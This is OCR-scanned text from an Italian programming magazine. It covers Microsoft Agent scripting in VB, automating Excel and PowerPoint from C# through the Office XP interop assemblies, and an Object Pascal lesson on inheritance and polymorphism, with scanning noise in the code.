Genio. Wait Merlino. Speak("\emp\\pit=1000\Ehi, 
\em p\\pit=400\aspetta ! ! ! ") 

Merlino. Wait Genio. Play("Domagic2") 

Merlino. Hide 

Genio. Play "announce" 

Genio. Speak "Si alzi il sipario!" 

Dim req2 As IAgentCtIRequest 

Set req2 = Genio. Hide 

Do 

DoEvents 

Loop While req2. Status <> 

End Sub 

Private Sub Agentl_RequestComplete(ByVal Request 

As Object) 

If Request = req Then Merlino. Stop reqsleep 
End Sub 

Questo codice mostra come due personaggi pos- 
sono rapportarsi l'uno con l'altro. Oltre a utilizzare 
l'ormai noto oggetto IAgentCtIRequest, è possibile 
richiamare il metodo Wait, che 
attende il termine dell'azione del- 
l'altro personaggio (non è possibile 
utilizzare questo metodo, però, con 
lo stesso assistente usato per ri- 
chiamarlo). La seconda Sub mostra 
l'evento RequestComplete, il quale 
viene richiamato dal server quando 
una specifica azione è stata portata 
a compimento. Il metodo .Stop, in- 
fine blocca un'animazione prece- 
dentemente associata ad un ogget- 
to Request. 




ANIMAZIONI 
CONTINUE 

Alcune animazioni 
continuano 
indefinitamente fino a 
nuovo ordine, 
bloccando, di fatto, 
l'assistente. Prima di 
richiamarne altre in 
coda occorre quindi 
sospenderle, mediante 
l'istruzione .Stop 
[Request]. 




Fig. 3: L'applicazione "sketch" mostra l'in- 
terazione fra più personaggi. 



CONCLUSIONI 

Abbiamo visto, in questa puntata, i principali meto- 
di, oggetti e proprietà che l'insieme API di Microsoft 
Agent mette a disposizione degli sviluppatori. Nel 
secondo articolo vedremo come realizzare ex novo 
un file acs, disegnando da noi il nostro personaggio, 
che andrà ad aggiungersi alla collezione degli assi- 
stenti disponibili. 

Roberto Allegra 




SUL WEB 



L'autore può essere 
contattato all'indirizzo 

roberto.ailegra@ioprogra 
mmo.it. o direttamente 
sul forum del sito di 
ioProgrammo. 
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Office XP come piattaforma di sviluppo 



Sviluppare appi 
Office XP con C# 



parte seconda 



In questo secondo articolo vedremo come interagire con le 
applicazioni Office da C#. Excel e PowerPoint saranno gli elementi 
base del nostro software. 




U CD U WEB 

0fficeXP_Pia2.zip 



JT--T 



* 



n 




REQUISITI 



Conoscenze richieste 



9 Conoscenze di base 
L-J diC# 



Windows 

98/ME/2000/XP/2003, 
Visual Studio .net 



Tempo di realizzazione 



La COMI.NET interoperability consente di uti- 
lizzare componenti COM (Component Object 
Model) e COM+, ed in generale quindi codice 
unmanaged (non gestito), da programmi e che 
girano sotto la supervisione del Common Language 
Runtime, cioè da codice managed (gestito). 
Microsoft ha creato una serie di tali assembly per 
ogni applicazione del pacchetto Office XP, chiamati 
Office XP Primary Interop Assemblies, liberamente 
scaricabili dal sito di Microsoft, vedi le barre laterali 
per il link esatto. Il pacchetto autoestraente 
oxppia.exe contiene dei file di aiuto a corredo per la 
corretta installazione e registrazione degli stessi 
assembly. Per ulteriori informazioni sul processo di 
installazione, di utilizzo degli assembly, o altro, fate 
riferimento alla prima parte dell'articolo o al sito 
Microsoft stesso. Qui ripetiamo solo che per poter 
utilizzare gli Assembly, dovremo naturalmente 
referenziarli in maniera corretta dal nostro progetto. 
Creato il progetto C# in Visual Studio .NET. 
dobbiamo aggiungere i riferimenti agli assembly 
che ci interessano. Per far ciò, nella finestra Esplora 
Soluzioni, a destra dell'ambiente di sviluppo, 
clicchiamo con il tasto destro sulla voce References e 
quindi selezioniamo la voce Aggiungi Riferimen- 
to..., o equivalentemente selezioniamo la 
medesima voce dal menù Progetto di Visual Studio 
.NET. A questo punto, nella finestra che ci apparirà, 
clicchiamo sul tab dei componenti COM e 








selezioniamo l'assembly che ci interessa dall'elenco 
e clicchiamo su OK. 



UHI ESEMPIO EXCEL 

Abbiamo visto come creare o aprire un documento 
Word, siamo pronti per passare ad Excel. Aggiun- 
giamo il riferimento alla libreria Microsoft Excel 10.0 
Object Library (Fig. 1) e nella finestra esplora solu- 
zioni verifichiamo che i riferimenti siano stati effet- 
tivamente aggiunti (Fig. 2). Iniziamo dal creare un 
nuovo documento Excel, o per usare la terminologia 
esatta, un nuovo WorkBook. Per far ciò bisogna ag- 
giungere alla collezione Workbooks di un oggetto 
Excel.Application un nuovo elemento. A questo 
punto, sull'oggetto Excel.Workbook così ottenuto, 
potremo lavorare agendo ad esempio su ogni singo- 
la cella, su intervalli di celle, e relative proprietà, e su 
ogni altro aspetto del foglio di lavoro che siamo abi- 
tuati ad impostare con mouse e tastiera. Sottoli- 
neiamo innanzitutto la convenienza dell'usare un 
alias per il namespace Microsoft. Office.Interop.Excel, 
in modo da evitare conflitti del nome Application in 
esso contenuto, con il nome della classe System.- 
Windows.FormsApplication, e per far ciò utilizzia- 
mo la parola chiave using in questa maniera: 

using Excel = Microsoft. Office. Interop. Excel; 




Esplora soluzioni - OFFiceXPPIA_2 9 X 

® & a 

I^J, Soluzione "OfficeXPPIA_2" (proget A | 
- jjp OfficeXPPIA_2 

fi ^ PeFerences 

=0 Excel 

°Q Microsoft. Office. Core 

| <*& System 

»a System. Data 

°0 System. Drawing 

= _i System. Windows. Forrr 
;■■-■ ^System, XML 
> -m VBIDE 
;■■■■ ^\ App.ico 

W\ AssemblyInfo.es 



5e SP Io...|^ : 



Fig. 1: Aggiungere i riferimenti al progetto. 



Fig. 2: 1 riferimenti del progetto. 
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Questo ci permette di aggiungere al nostro codice o 
alle nostre classi delle variabili di tipo ExceLApplica- 
tion piuttosto che chiamarle per intero con il nome 
assoluto (cioè completo di namespace). Il codice se- 
guente apre l'applicazione e crea un nuovo docu- 
mento Excel: 

optional = Missing.Value;//rappresenta un valore 

mancante, per gestire i parametri opzionali 
app=new Excel. Application(); 

app.Visible=true; 

app.WorkBooks.Add(optional); 

Per impostare il contenuto di una cella qualunque, 
possiamo agire in maniere diverse, e ne vediamo 
adesso un paio di quelle possibili. Con la prima, 
otteniamo con il metodo get_Range(. . .) un oggetto 
di tipo Range, che rappresenta una cella, una riga, 
una colonna, una selezione di celle contenente uno 
o più blocchi contigui di celle oppure un intervallo 
3D. Il metodo get_Range, prende in ingresso come 
parametri due stringhe che rappresentano le classi- 
che coordinate di cella di Excel, in modo da definire 
l'intervallo di celle definito dalle due celle specifica- 
te. A questo punto utilizziamo il metodo set_Value() 
per impostare il valore della cella selezionata. 
Ad esempio metodo seguente implementa proprio 
tale operazione: 

public void setCellValue(Excel.Workbook wb,int 

sheetlndex,string strCell,string vai) 
{ Excel. Sheets sheets=wb.Sheets;//ricavo i 

fogli di lavoro del documento Excel 
if(sheetIndex<=sheets.Count) 
{ Excel. Worksheet sh = (Excel.Worksheet) 

sheets[sheetlndex] ; 
sh.get_Range(strCell,strCell).set_Value(optional,val);} 
} 

per impostare il contenuto della prima cella in alto a 
sinistra, scrivendoci dentro la stringa "ioProgram- 
mo", basta chiamare il metodo precedente così: 

ex.setCellValue(wb,l,"Al","IoProgrammo"); 

Un'altra possibilità è invece quella di utilizzare la 
proprietà Cells, per ottenere il range desiderato, ad 
esempio come nella seconda versione del metodo 
setCellValue2: 

public void setCellValue2(Excel.Workbook wb,int 

sheetlndex,int celli, int cell2,string vai) 
{ Excel. Sheets sheets=wb. Sheets; 
if(sheetIndex<=sheets.Count) 
{ Excel. Worksheet sh = (Excel.Worksheet)sheets 

[sheetlndex]; 
Excel. Range rngCella=(Excel.Range)sh.Cells[celll,cell2]; 
rngCella.Value2=val; }} 



Con il metodo appena visto possiamo impostare il 
contenuto della cella usando le sue coordinate 
numeriche, cioè come se il foglio di lavoro fosse una 
matrice bidimensionale, con le celle numerate a 
partire da 1, sia in orizzontale che in verticale. 
Quindi, la cella A? si ottiene con gli indici (1,1), la 
cella B2 con (2,2), e così via, ad esempio: 

ex.setCellValue2(wb,l,2,2,"EdMaster"); 

imposta il contenuto della cella B2 alla stringa "Ed- 
Master". 



CELLE E COLORI 

Vediamo, sempre parlando di celle e intervalli come 
unire più celle, come se utilizzassimo il famigerato 
comando "Unisci e centra". L'oggetto Range fornisce 
tra gli altri, i metodi Select, che permette di selezio- 
nare l'intervallo di celle definito dall'oggetto Range 
stesso, ed il metodo Merge che permette di unire tali 
celle. Dunque vediamo un esempio che unisce le 
celle da C3 a FIO e visto che ci siamo impostiamo 
anche lo stile del font ed il colore di sfondo delle 
celle (Fig. 3): 
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Fig. 3: Esperimenti con le celle. 

Excel. Range celle= (Excel. Range)( (Excel. Worksheet) 

wb.Sheets[l]).get_Range("C3","F10"); 

celle. Select(); 
celle.Merge(Missing.Value); 
celle. Font. Bold=true; 

celle. Font.Color=16777215; 

celle. Value2="Una cella colorata da C#"; 
celle.Interior.Color=0; 

Come avrete notato, nel codice precedente le pro- 
prietà Color sono impostate con dei numeri (con lo 
che indica il colore nero, fino ad arrivare al bianco 
dato da 16777215 e passando quindi attraverso le 
varie sfumature). Magari potete utilizzare un pro- 
gramma di disegno per conoscere i valori dei colori 
fondamentali, oppure prepariamo un foglio excel 
con delle celle colorate ad hoc, e che troverete sul 
CD e sul sito Web di ioProgrammo, e con un ciclo for 




EFFETTI 
SPECIALI 

Per applicare un effet- 
to di animazione ad un 
oggetto Shape di una 
diapositiva Powerpoint 
bisogna utilizzare il 
metodo AddEffect. Esso 
restituisce un oggetto 
Effect che rappresenta 
un nuovo effetto d'ani- 
mazione aggiunto ad 
una sequenza di effetti 
d'animazione. 




Primary Iiuterop 
assemblies 

I PIAs, o assembly di 
interoperabilità primari, 
sono forniti dallo stes- 
so autore della type li- 
brary da essi descritta, 
e forniscono le defini- 
zioni ufficiali dei tipi 
definiti con tale libre- 
ria. Gli assembly di inte- 
roperabilità primari sono 
sempre firmati dal re- 
lativo editore, per assi- 
curarne l'univocità. Un 
PIA viene creato da una 
libreria dei tipi ese- 
guendo Tlblmp con 
l'opzione "/primary" do- 
po aver indicato l'as- 
sembly come primario 
con l'utilizzo dell'attri- 
buto PrimarylnteropAs- 
semblyAttribute. Quan- 
do si utilizzano i tipi 
definiti in una libreria 
dei tipi, fare sempre 
riferimento al PIA per 
tale libreria, anziché 
reimportare o ridefini- 
re i tipi stessi. Inoltre 
bisogna evitare di uti- 
lizzare assembly di in- 
teroperabilità che non 
siano primari. 
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SUL WEB 



[1] Home Page degli 
Office XP PIAs 

http://msdn.microsoft,com 

/library/default.asp?url=/ 

librarv/en-us/dnoxpta/ 

html/odc oxppias.asp 

Working with Office 

XP Primary Interop 

Assemblies 

http://msdn, microsoft.com/ 

librarv/en-us/dnoxpta/ 

html/odc oxppias.asp? 

frame=true 



leggiamo i valori del colore di riempimento e lo scri- 
viamo in altre celle vuote: 

public void LeggiColori() 

{ Excel. Workbook wb=app.Workbooks.Open(strFile, 

optional, optional, optional, optional, optional, 
optional, optional, optional, optional, optional, 
optional, optional, optional, optional); 
Excel. Range cella, cella2; 
doublé color=0.0; 
for(int i = l;i< = 5;i ++) 

{ for(int j = l;j< = 8;j + + ) 

{ cel la = (Excel. Range)( (Excel. Worksheet) 

wb.Sheets[l]).Cells[i,j]; 

color=(double)cella. Interior. Color; 

cel Ia2 = (Excel. Range)(( Excel. Worksheet) 

wb.Sheets[l]).Cells[i+5,j]; 

cella2.Value2=color.ToString(); 
cella2.Font.Color=color; } } 

r~ 

In Fig. 4 potete vedere risultato ottenuto eseguen- 
do l'esempio. 
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Fig. 4: Scoprire i valori dei colori. 



LE FORMULE 

È fondamentale, naturalmente, poter inserire delle 
formule nelle celle, ad esempio per creare un foglio 
che calcoli dei totali, o una media, o quant' altro sia- 
mo abituati a fare lavorando con Microsoft Excel. 
Per inserire una formula in una cella, usiamo ancora 
l'oggetto Range corrispondente. Dobbiamo sempli- 
cemente impostare il contenuto della cella con la 
formula sotto forma di stringa, ad esempio il codice 
seguente crea dei numeri casuali nelle celle Al -A9 
utilizzando la formula CasualeQ ( nella versione 
inglese RandQ): 



for(int i = l;i<10;i++) 


{ cella= (Excel. Range)(( Excel. Worksheet) 

wb.Sheets[l]).Cells[ 


,i]; 


cella. Formula="=CASUALE()"; } 



con il metodo setFormule, viene calcolata la somma 
e la media dei precedenti valori creati casualmente: 

public void setFormuleQ 
{ Excel. Range cella; 

cella = ( Excel. Range) ((Excel. Worksheet) 



wb.Sheets[l]).Cells[l,3]; 

cella. Va Iue2 = "Somma"; 

cella = (Excel. Range)(( Excel. Worksheet) 
wb.Sheets[l]).Cells[2,3]; 

cella. Formula = "=SOMMA(Al;A9)"; 

cella = (Excel. Range)(( Excel. Worksheet) 
wb.Sheets[l]).Cells[l,4]; 

cella. Va Iue2 = "Media"; 

cella = (Excel. Range)(( Excel. Worksheet) 
wb.Sheets[l]).Cells[2,4]; 

cella. Formula = " = Media(Al;A9)"; 



} 



Naturalmente, il codice precedente fa parte di una 
classe di esempio che potete trovare in versione 
completa sul CD allegato. 



CREAZIONE 
DEI GRAFICI 

I grafici sono un altro strumento fondamentale di 
Microsoft Excel, e quindi è possibile crearne uno ed 
impostarne le varie proprietà anche tramite gli 
Office XP PIAs. L'oggetto da utilizzare è Excel.Chart, 
restituito dal metodo Add dell'insieme Charts conte- 
nuto in unWorkBook di excel. Il metodo Add prende 
in ingresso quattro parametri (tutti opzionali). 
Nell'esempio seguente, inseriamo un grafico dopo 
foglio di lavoro creato nel paragrafo precedente, ed 
impostiamo la sorgente dei dati al range di celle con- 
tentente i numeri casuali generati. 

public void AddGrafico(Excel.XIChartType type) 
{ Excel.Chart chart; 

chart= (Excel. Chart)wb. Charts. Add(optìonal,( 

Excel. Worksheet)wb.Sheets[l], optional, optional); 

Excel .Worksheet sh = ( Excel .Worksheet) 
wb.Sheets.get_Item(l); 

Excel. Range range=sh.get_Range("Al","A9"); 

chart. SetSourceData(range, Excel. Constants.xl3DBar); 

chart. Name="Grafico "+type; 

chart. HasTitle=true; 

chart. ChartTitle.Text=type.ToString(); 

chart. ChartType=type; } 

Ricordarsi di impostare prima la proprietà HasTitle a 
true, altrimenti il tentativo di impostare il titolo del 
grafico provocherebbe un errore. Tramite le proprie- 
tà dell'oggetto ChartTitle è poi configurabile ogni 
aspetto del titolo stesso, ad esempio font, dimensio- 
ni, colore. Come avrete notato per impostare tipo 
di grafico utilizziamo un oggetto Excel.XIChartType, 
che in effetti è una enumerazione di tutti i tipi di gra- 
fico realizzabili in Excel. Se provate a richiamare 
metodo precedente, ad esempio così: 

ex.AddGrafico(Excel.XIChartType.xl3DLine); 
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ex.AddGrafico(Excel.XIChartType.xl3DArea); 
ex. AddGrafico( Excel. XIChartType.xl Pie); 




Fig. 5: Diversi tipi di grafico. 

otterrete tre modi diversi di rappresentare i dati (Fig. 
5), provate a sperimentare con gli altri valori. A pro- 
posito se proprio non avete un ambiente visuale che 
vi dia tutti i valori possibili, e non avete a disposizio- 
ne nemmeno i Riferimenti a Microsoft Excel Visual 
Basic, potete sempre stamparli utilizzando i metodi 
della classe System.Enum come nell'esempio se- 
guente: 

public void PrintChartTypes() 

{ string[] chartNames=Enum.GetNames(typeof( 

Excel. XIChartType)); 

int nTypes=chartNames.Length; 

Console. WriteLine("Tipi di Chart disponibili"); 

for(int i=0;i<nTypes;i++) 

Console. Writel_ine("Nome: "+chartl\lames[i]);} 



POWERPOINT 

Anche per Powerpoint è conveniente utilizzare 
l'help di Visual Basic for Applications, che in questo 
caso è di solito contenuto in un file con nome 
VBAPPlO.chm. Ancora una volta, dopo aver creato il 
progetto, è necessario aggiungere i riferimenti alla 
libreria Microsoft Powerpoint 10.0 Object Library. 



FACCIAMO 

LE PRESENTAZIONI 

Dopo aver accorciato il nome completo del name- 
space con la solita direttiva using. 

using Powerpoint= Microsoft. Off ice. Interop. PowerPoint; 

per aprire Powerpoint bisogna creare un oggetto di 
tipo PowerpointApplication e chiamare su di esso il 
metodo Activate: 

Powerpoint. Application ppApp=new 

Powerpoint. ApplicationClass(); 



in questa maniera vedremo apparire la finestra di 
Powerpoint, ma senza alcuna presentazione. Per 
crearne una è necessario ricorrere al metodo Add 
applicato all'insieme Presentations dell'oggetto Ap- 
plication appena creato, naturalmente verificando 
che l'oggetto PowerpointApplication sia diverso da 
nuli: 

if(pp! = null) 

{ Powerpoint. Presentation pres=pp. Presentations. Add( 

MsoTriState.msoTrue); 
Powerpoint. Slide slide=pres.Slides.Add(l, 

Powerpoint. PpSIideLayout.ppLayoutBlank);} 

Il metodo Add prende come argomento un valore fra 
quelli possibili dell'enumerazione MsoTriState del 
namespace Microsoft.Office.Core, specificando, co- 
me in questo caso, msoTrue, la presentazione verrà 
creata in una finestra visibile. Inoltre lo stesso meto- 
do restituirà un oggetto Powerpoint.Presentation, al 
quale possiamo ora aggiungere le slides (o diapositi- 
ve) che costituiranno la nostra presentazione. L'in- 
sieme Slides contiene tutte le diapositive della pre- 
sentazione corrente, ed il metodo Add permette 
l'aggiunta di una nuova slide ad un dato indice, e 
con un dato layout, a scelta fra quelli enumerati da 
Powerpoint.PpSlideLayout, in questo esempio ab- 
biamo scelto il layout blank, per creare una slide 
totalmente vuota. Ma il bello di powerpoint è forse la 
possibilità di creare presentazioni animate, control- 
late ad esempio dal click del mouse per far procede- 
re una sequenza di movimenti che abbiamo presta- 
bilito. Ecco come implementare, tramite C#, una 
semplice animazione con tre forme, un quadrato, 
un triangolo, ed un cubo, animati al click del mouse 
con effetti e testi diversi. A partire dall'esempio vi 
potete sbizzarrire nel creare le vostre sequenze. 

//Aggiungiamo alla slide tre shape 
//un quadrato 

Powerpoint. Shape quadrato, triangolo, cubo; 
quadrato=slide.Shapes.AddShape(MsoAutoShapeType. 

msoShapeRectangle,0,0 f 100,100); 

//poi un triangolo 
triangolo=slide.Shapes.AddShape(MsoAutoShapeType. 

msoShapeRightTriangle, 0,150, 100, 100); 

//ed infine un cubo 
cubo=slide.Shapes.AddShape(MsoAutoShapeType. 

msoShapeCube, 0,300, 100, 100); 

//ed ora creiamo un'animazione 

Powerpoint. Sequence animazione=slide.TimeLine. 

Intera ctiveSequences.Add(l); 
//impostiamo il testo delle forme 
quadrato. TextFrame.TextRange.Text = "Cliccami"; 
triangolo.TextFrame.TextRange.Text = "No, clicca me"; 
cubo.TextFrame.TextRange.Text=" Io sono un cubo"; 
//Animiamo gli shapes. 
animazione.AddEffect(quadrato,Powerpoint. 





animazione. adde 
ffect(Shape, 
EffectId, Level, 
Trigger, Index) 

Il primo argomento è 
la forma a cui l'effetto 
d'animazione viene 
aggiunto. Il secondo è 
l'effetto di animazione 
da applicare, uno a 
scelta fra quelli 
dell'enumerazione 
MsoAnimEffect. Il terzo 
è un argomento di 
tipo MsoAnimateBy- 
Level, ed è il livello a 
cui l'effetto 
d'animazione verrà 
applicato. 

L'argomento trigger è 
di tipo MsoAnimTrìgger- 
Type e rappresenta 
l'azione che fa partire 
l'effetto d'animazione. 
L'ultimo è un intero 
che imposta la posi- 
zione in cui l'effetto 
verrà inserito nell'in- 
sieme di effetti d'ani- 
mazione. Con -1 verrà 
inserito in fondo. 
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MsoAnimEffect. msoAnimEffectPathStairsDown, 

Powerpoint. MsoAnimateByLevel.msoAnimate 

LevelNone, Powerpoint. MsoAnimTriggerType. 

msoAnimTriggerOnShapeClick, -1); 

animazione. AddEffect(triangolo,Powerpoint. MsoAnimEffect. 

msoAnimEffectPathHorizontalFigure8,Powerpoint. 

MsoAnimateByLevel.msoAnimateLevelNone, 

Powerpoint. MsoAnimTriggerType. 

msoAnimTriggerOnShapeClick, -1); 

animazione.AddEffect(cubo, Powerpoint. MsoAnimEffect. 

msoAnimEffectPathSwoosh, Powerpoint. MsoAnimate 

ByLevel.msoAnimateLevelNone, Powerpoint. MsoAnim 

TriggerType. msoAnimTriggerOnShapeClick, -1); 

Per impostare un effetto su una forma, utilizziamo il 
metodo AddEffect la cui sintassi è esposta in mag- 
gior dettaglio nel riquadro relativo. Adesso dobbia- 
mo semplicemente salvare la presentazione in un 
file a nostra scelta e lanciare la presentazione, ad 
esempio 

ppApp.Presentations[l].SaveAs(@"C:\presentazione.ppt", 
Powerpoint. PpSaveAsFileType.ppSaveAsPresentation, 
Microsoft. Office. Core. MsoTriState.msoTrue); 
ppApp.Presentations[l].SIideShowSettings.Run(); 

Come potete notare, il metodo SaveAs permette di 
salvare la presentazione in tutte le modalità che Po- 
werpoint stesso permette, ad esempio per le varie 
versioni, o come immagine, o per il web, mentre l'ul- 
timo argomento indica se salvare nel file anche le 
informazioni sui caratteri TrueType utilizzati. 
Tramite la proprietà SlideShowSettings, che rappre- 
senta l'impostazione della presentazione di diaposi- 
tive, possiamo far partire l'animazione cha abbiamo 
creato. Trovate naturalmente l'esempio completo di 
codice nel CD in allegato e sul Web. Compilatelo e 
verificate il risultato che potete vedere, in maniera 
statica in Fig. 6. 




Fig. 6: Animazioni in Powerpoint. 

L'ASSISTENTE 
DI OFFICE 

Tramite gli Office XP PIA's e' possible anche utilizza- 
re l'assistente di Office. Un oggetto Application, a 
esempio Excel, espone la proprietà Assistant, che 



non è un insieme, in quanto può esistere un solo 
assistente. Per attivare l'assistente è sufficiente agire 
sulle proprietà On e Visibile, entrambe booleane, 
poste pari a true si attiverà l'assistente, mentre 
ponendole a false avverrà il contrario. 

Excel. Application app=new Excel. ApplicationClass(); 
app. Assista nt.On= true; 
app. Assistant. Visible=true; 

L'assistente predefinito è Clippy, ma, tramite la pro- 
prietà FileName, è possibile impostarne un altro fra 
quelli disponibili. Per personalizzare testo visualiz- 
zato nei fumetti dall'assistente, è possibile utilizzare 
la proprietà NewBalloon, che restituisce un oggetto 
Balloon, e su questo quindi impostare il testo, lo 
stile, le icone, i pulsanti e quant'altro vogliamo. Il 
codice seguente mostra come visualizzare un 
fumetto con tre label: 

app. Assistant. On= true; 
app. Assista nt.Visible=true; 

app. Assista nt.Move(300, 500); 

Microsoft. Office. Core. Balloon fumetto= 

app. Assistant. NewBalloon; 
fumetto. BalloonType = Microsoft. Office. Core. MsoBalloonType. 

msoBalloonTypeBullets; 
//imposta l'icona 
fumetto. Icon = Microsoft. Office. Core. MsoIconType. 

msoIconTip; 
//visualizza solo il pulsante OK 
fumetto. Button = 

Microsoft. Office. Core. MsoButtonSetType. 
msoButtonSetOK; 
//imposta il titolo del fumetto 
fumetto. Heading = "Pubblicità"; 
//e ora una lista di tre label 
Microsoft. Office. Core. BalloonLabels labels; 
labels=(Microsoft.Office.Core.Balloonl_abels)fumetto.Labels; 
Microsoft. Off ice. Core. BalloonLa bel label; 
//ed impostiamo il testo delle tre label 
label = (Microsoft.Office.Core.Balloonl_abel)labels[l]; 
label. Text = "Per imparare a programmare..."; 
label = (Microsoft.Office.Core.Balloonl_abel)labels[2]; 
label. Text = "compra IoProgrammo..."; 
label = (Microsoft.Office.Core.BalloonLabel)labels[3]; 
label. Text = "e leggilo"; 
fumetto. ShowQ; 

In parole povere, tramite la proprietà BalloonLabels 
viene ricavato l'insieme di label che l'assistente può 
contenere nel suo fumetto, ed impostando la pro- 
prietà Text di ognuno di questi, fino ad un massimo 
di cinque label, viene visualizzato una stringa a 
nostro piacimento. Il metodo Show dell'oggetto 
Balloon permette di visualizzare il fumetto con 
risultato mostrato in Fig. 7. 

Antonio Pelleriti 
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I concetti chiave dell 'OOP 



Delphi: corso 
di Object Pascal 



parte sesta 



Portiamo avanti il discorso sugli oggetti in Pascal: dopo 
l'incapsulazione vista la volta scorsa parliamo degli altri pilastri 
dell'OOP e creiamo una prima semplice libreria di classi. 



Il mese scorso abbiamo iniziato a trattare di pro- 
grammazione orientata agli oggetti e ci siamo 
concentrati su classi, oggetti e membri degli stes- 
si, affrontando così la caratteristica dell'incapsula- 
zione. Con quello su cui abbiamo focalizzato la 
nostra attenzione nel numero precedente, però, non 
eravamo ancora in grado di sfruttare appieno le 
caratteristiche dell'OOP: in questo numero vedre- 
mo, appunto, come mettere a buon frutto la riutiliz- 
zabilità dei componenti software che si possono 
definire attraverso le classi ed utilizzare sotto forma 
di oggetti. Per fare questo partiremo dal concetto di 
ereditarietà delle classi, e da lì ci muoveremo verso 
polimorfismo, binding dinamico e statico, interfac- 
ce, ed altro ancora. 



EREDITARIETÀ 
DELLE CLASSI 

Quando creiamo una classe, sdamo effettivamente 
creando la struttura di un nuovo tipo software che 
comprende, come già abbiamo detto, una serie di 
proprietà e metodi che definiscono comporta- 
mento e le caratteristiche degli oggetti che da tale 
classe saranno istanziati. Quello che non avevamo 
invece detto la volta scorsa è che nel disegnare una 
nuova classe possiamo prendere a modello una 
classe già esistente: questo significa che nel nostro 
nuovo tipo partiremo dalla definizione di un tipo 
vecchio che noi o qualcun altro aveva già creato e 
potremo così modificare o aggiungere funzionalità 
alla classe di base. Questa è l'idea dell'ereditarietà, 
cioè la possibilità di aumentare o ridefinire le carat- 
teristiche di classi vecchie creandone di nuove. 
Quando è che questa possibilità ha senso? Nel vede- 
re del software, vi è mai capitato di pensare che 
sarebbe interessante poterlo utilizzare, ma modifi- 
cando un qualcosa qua e là: bene, se si trattava di 
software OOP molto probabilmente stavate già 



mentalmente progettando qualche ritocco tipico di 
una classe ereditata da un'altra. Pensate ancora per 
esempio ad una classe Persona in un'applicativo ge- 
stionale ed alla necessità di gestire un'anagrafe degli 
impiegati aziendali: è chiaro che gli impiegati sono 
tutti persone, e quindi la classe Impiegato, ereditan- 
do da Persona, assumerà già automaticamente tutte 
quelle caratteristiche di quella classe {nome, co- 
gnome, residenza, etc). Resterà solo da implemen- 
tare la funzionalità specifica della classe Impiegato, 
aggiungendo per esempio una matricola aziendale, 
il salario mensile, il di- 
partimento di apparte- 
nenza e via dicendo. 
Qual è la forma che pren- 
de dunque questa eredi- 
tarietà in Object Pascal? 
Partiamo dalla classe 
Persona che abbiamo 
menzionato a mo' d'e- 
sempio poco fa e vedia- 
mone un'ipotetica defi- 
nizione in Object Pascal 
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Fig. 1: Per assegnare ad una variabile di un certo tipo 
un oggetto di un tipo superiore nella gerarchia di 
classi è necessario effettuare un cast esplicito. 
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property anni: Integer read calcolaEta; 



TUTTO DERIVA 
DA TObject 

Qualunque classe in 

Delphi deriva 

implicitamente od 

esplicitamente da 

TObject, così come in 

Java tutto deriva da 

Object. In base alle 

regole sulla 

compatibilità delle 

classi, ne deduciamo 

che un metodo che 

richiede TObject come 

parametro accetterà 

qualunque oggetto 

scritto in Object Pascal. 



ose- 






Fig. 2: Un cast esplicito può generare un'eccezione 
a run-time se l'oggetto non corrisponde al tipo del 
cast. 



end; 



Ora, volendo noi creare la classe Impiegato partiamo 
dal presupposto che ci servano tutti gli elementi di 
una "persona" per fare un "impiegato" e quindi deri- 
viamo da tale classe, ereditandone così tutte le 
caratteristiche ed aggiungendo in più quelle tipiche 
ed esclusive del nuovo oggetto. Questo lo si fa con la 
sintassi che vedete a seguire 

Impiegato = class(Persona) 
private 

function calcolaAnzianita: Integer; 
public 
matricola: Integer; 
dataAssunzione: TDateTime; 
stipendioMensile: Currency; 

property anzianità: Integer read calcolaAnzianita; 
end; 

Cosa abbiamo ottenuto in questo modo? Tutto il 
codice di Persona (che magari include dei controlli 
di validità del codice fiscale e della data di nascita, 
oltre ad una semplice funzione che calcola l'età) è 
adesso parte di Impiegato, senza dover fare nulla! Da 
qui in avanti, non ci resta che aggiungere a quest'ul- 
timo le sue proprietà specifiche, ed il nuovo tipo è 
concluso! Ovviamente le proprietà di Impiegato so- 
no tutte quelle di Persona, più matricola, dataAssun- 
zione, stipendioMensile e 
anzianità. Terminologica- 
mente parlando, Persona è 
la classe base o classe ma- 
dre (base class) di Impie- 
gato, che è invece una clas- 
se derivata (derived class), 
e a sua volta si dice che Im- 
piegato deriva (derives 
from) o eredita (inherits 
from) da Persona. 



■ ■ 



POLIMORFISMO 

Strettamente legato al concetto di ereditarietà di cui 
sopra è quello di polimorfismo, o per lo meno una 
sua metà (l'altra metà del polimorfismo è legata alle 
interfacce, di cui parleremo più avanti)! Con questa 
parola molto tecnica ci si riferisce in realtà ad una 
caratteristica abbastanza semplice: nell'esempio 
precedente, tra persone ed impiegati, noi ci eravamo 
fermati alla possibilità di estendere le funzionalità di 
una classe base, ma di fatto esiste anche l'opportu- 
nità di modificarne parte del comportamento già 
esistente. Questa opportunità può portare ad una 
serie di implementazioni ("forme") differenti ("mol- 
te") per lo stesso metodo o la stessa proprietà nelle 



varie derivazioni che vengono fatte dalla classe ma- 
dre: e "molte forme", in quel greco classico che è or- 
mai diventato italiano, si traduce appunto con "poli- 
morfismo". Riprendiamo per un attimo in mano la 
mini-libreria del mese scorso dove si era accennato 
ad una serie di classi di implementazione delle figu- 
re geometriche: all'epoca non avevamo abbastanza 
competenza per fare molto di più che non il punto e 
la linea, ma oggi possiamo andare un po' oltre. 
Pensiamo quindi ad una figura tipo il rettangolo 

TRettangolo = class(TObject) 
private 

b: Integer; 

h: Integer; 
protected 

procedure SetBase(n: Integer); 

procedure SetHeight(n: Integer); 

function CalcolaArea: Integer; 

function CalcolaPerimetro: Integer; 
public 

property base: Integer read b write SetBase; 

property altezza: Integer read h write SetHeight; 

property area: Integer read CalcolaArea; 

property perimetro: Integer read CalcolaPerimetro; 

procedure Disegna(gdc: TCanvas; inizio: TPunto); 
end; 

E poi ci rendiamo conto che in realtà il quadrato non 
è altro che un caso speciale di rettangolo con base ed 
altezza uguali, quindi una potenziale classe derivata 




Quali problemi riscontriamo in questo contesto? 
Sicuramente i calcoli per l'area ed il perimetro del 
rettangolo, nonché la procedura per disegnarlo, fun- 
zionano anche per quadrato, ma non sono i più 
efficienti, per cui potrebbe essere utile ridefinirne i 
metodi corrispondenti. Inoltre, avendo il quadrato i 
lati uguali, dobbiamo assicurarci che se per caso l'u- 
tente modifica una delle proprietà base o altezza la 
modifica abbia effetto anche sull'altra. Otteniamo 
così la dichiarazione seguente 



TQuadrato = 


class(TRettangolo) 




protected 


procedure 


SetBase(n 


Integer); 




procedure 


SetHeight( 


n: Integer); 




function CalcolaArea: 


Integer; 




function CalcolaPerimetro: Integer; 


public 


procedure 


